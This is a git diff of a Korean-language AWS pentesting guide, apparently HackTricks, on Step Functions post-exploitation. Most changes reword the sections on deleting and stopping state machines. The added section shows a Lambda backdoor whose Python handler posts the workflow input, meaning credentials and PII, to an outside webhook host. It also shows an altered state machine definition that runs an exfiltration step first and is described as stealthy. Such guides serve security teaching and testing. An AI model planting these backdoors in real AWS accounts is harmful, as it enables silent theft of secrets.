diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index a73c8cb70..feeeae263 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -12,19 +12,19 @@ ### `states:RevealSecrets` -이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다. +이 권한은 **실행 중 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 필요할 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. +이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. > [!NOTE] > -> - 상태 기계를 삭제하면 해당 기계의 모든 관련 버전과 별칭도 삭제됩니다. +> - 상태 기계를 삭제하면 해당 기계와 연결된 모든 버전 및 별칭도 삭제됩니다. > - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다. -> - 하나 이상의 별칭에 의해 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다. +> - 현재 하나 이상의 별칭에 의해 참조되는 상태 기계 버전을 삭제할 수 없습니다. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -33,22 +33,22 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **잠재적 영향**: 중요한 워크플로의 중단, 데이터 손실 및 운영 중단. +- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단. ### `states:UpdateMapRun` -이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 기계 실행에 직접적인 영향을 미치고 중요한 워크플로를 중단시킬 수 있습니다. +이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율 및 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **잠재적 영향**: 성능 저하 및 중요한 워크플로의 중단. +- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단. ### `states:StopExecution` -이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다. +이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다. > [!WARNING] -> 이 작업은 **express state machines**에서 지원되지 않습니다. +> 이 작업은 **익스프레스 상태 머신**에서 지원되지 않습니다. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` @@ -61,6 +61,125 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. +**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +다음 권한을 가진 사용자 또는 역할을 손상시키는 공격자: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...**고강도 및 은밀한 포스트 익스플로이테이션 공격**을 Lambda 백도어와 Step Function 로직 조작을 결합하여 수행할 수 있습니다. + +이 시나리오는 피해자가 **민감한 입력(예: 자격 증명, 토큰 또는 PII)을 처리하는 워크플로를 조정하기 위해 AWS Step Functions를 사용한다고 가정합니다.** + +예시 피해자 호출: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**: + +--- + +#### Lambda 함수 업데이트 + +공격자는 Step Function에서 이미 사용 중인 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 조용히 유출합니다. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Step Function에 악성 상태 추가하기 + +대안으로, 공격자는 Step Function 정의를 업데이트하여 워크플로의 시작 부분에 **exfiltration state**를 주입할 수 있습니다. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 만들 수 있습니다. +{ +"Comment": "Exfiltration을 위한 백도어", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +피해자는 차이를 인식하지 못할 것입니다. + +--- + +### 피해자 설정 (익스플로잇을 위한 맥락) + +- Step Function (`LegitStateMachine`)은 민감한 사용자 입력을 처리하는 데 사용됩니다. +- `LegitBusinessLogic`과 같은 하나 이상의 Lambda 함수를 호출합니다. + +--- + +**잠재적 영향**: +- 비밀, 자격 증명, API 키 및 PII를 포함한 민감한 데이터의 조용한 유출. +- 워크플로 실행에서 눈에 띄는 오류나 실패 없음. +- Lambda 코드 또는 실행 추적을 감사하지 않으면 감지하기 어려움. +- 백도어가 코드나 ASL 논리에 남아 있으면 장기적인 지속성을 가능하게 함. + {{#include ../../../banners/hacktricks-training.md}}